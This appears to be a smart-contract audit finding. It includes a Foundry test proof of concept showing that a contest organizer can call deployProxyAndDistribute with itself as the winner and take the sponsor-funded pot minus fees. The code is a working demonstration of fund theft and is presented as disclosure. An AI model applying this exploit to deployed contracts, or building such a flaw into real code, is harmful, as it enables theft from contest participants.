An organizer has the ability to maliciously claim all funds to themselves either through using the organizer address as the winner, or by using another address that they control as the winner.
ProxyFactory public proxyFactory;
MockERC20 public mockERC20;
Distributor public distributor;
address public stadiumAddress = makeAddr("stadium");
address public factoryAdmin = makeAddr("factoryAdmin");
address public tokenMinter = makeAddr("tokenMinter");
address public organizer = address(11);
address public sponsor = address(12);
address public supporter = address(13);
function setUp() public {
mockERC20 = new MockERC20("MockERC20", "MERC");
vm.prank(factoryAdmin);
address[] memory tokensToWhitelist = new address[](1);
tokensToWhitelist[0] = address(mockERC20);
proxyFactory = new ProxyFactory(tokensToWhitelist);
distributor = new Distributor(address(proxyFactory), stadiumAddress);
mockERC20.mint(organizer, 10_000 ether);
mockERC20.mint(sponsor, 10_000 ether);
mockERC20.mint(supporter, 10_000 ether);
}
function testOrganizerTakeFundsPOC() public {
vm.startPrank(factoryAdmin);
bytes32 randomId = keccak256(abi.encode("Jason", "001"));
proxyFactory.setContest(organizer, randomId, block.timestamp + 8 days, address(distributor));
vm.stopPrank();
bytes32 salt = keccak256(abi.encode(organizer, randomId, address(distributor)));
address proxyAddress = proxyFactory.getProxyAddress(salt, address(distributor));
vm.startPrank(sponsor);
mockERC20.transfer(proxyAddress, 10000 ether);
vm.stopPrank();
assertEq(mockERC20.balanceOf(proxyAddress), 10000 ether);
assertEq(mockERC20.balanceOf(organizer), 10000 ether);
assertEq(mockERC20.balanceOf(stadiumAddress), 0 ether);
bytes32 randomId_ = keccak256(abi.encode("Jason", "001"));
bytes memory data = createData();
vm.warp(9 days);
vm.startPrank(organizer);
address proxy = proxyFactory.deployProxyAndDistribute(randomId_, address(distributor), data);
vm.stopPrank();
assertEq(mockERC20.balanceOf(organizer), 19500 ether);
assertEq(mockERC20.balanceOf(stadiumAddress), 500 ether);
}
function createData() public view returns (bytes memory data) {
address[] memory winners = new address[](1);
winners[0] = organizer;
uint256[] memory percentages_ = new uint256[](1);
percentages_[0] = 9500;
data = abi.encodeWithSelector(Distributor.distribute.selector, mockERC20, winners, percentages_, "");
}
The organizer is able to maliciously claim all funds to themselves either through using the organizer address as the winner, or by using another address that they control as the winner. Thus a legitimate supporter can create the best solution to the contest, and receive no funds, while the organizer takes all of the contest pot minus fees.